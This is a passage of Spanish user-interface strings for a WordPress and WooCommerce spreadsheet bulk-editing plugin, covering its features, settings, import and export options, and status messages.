                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de 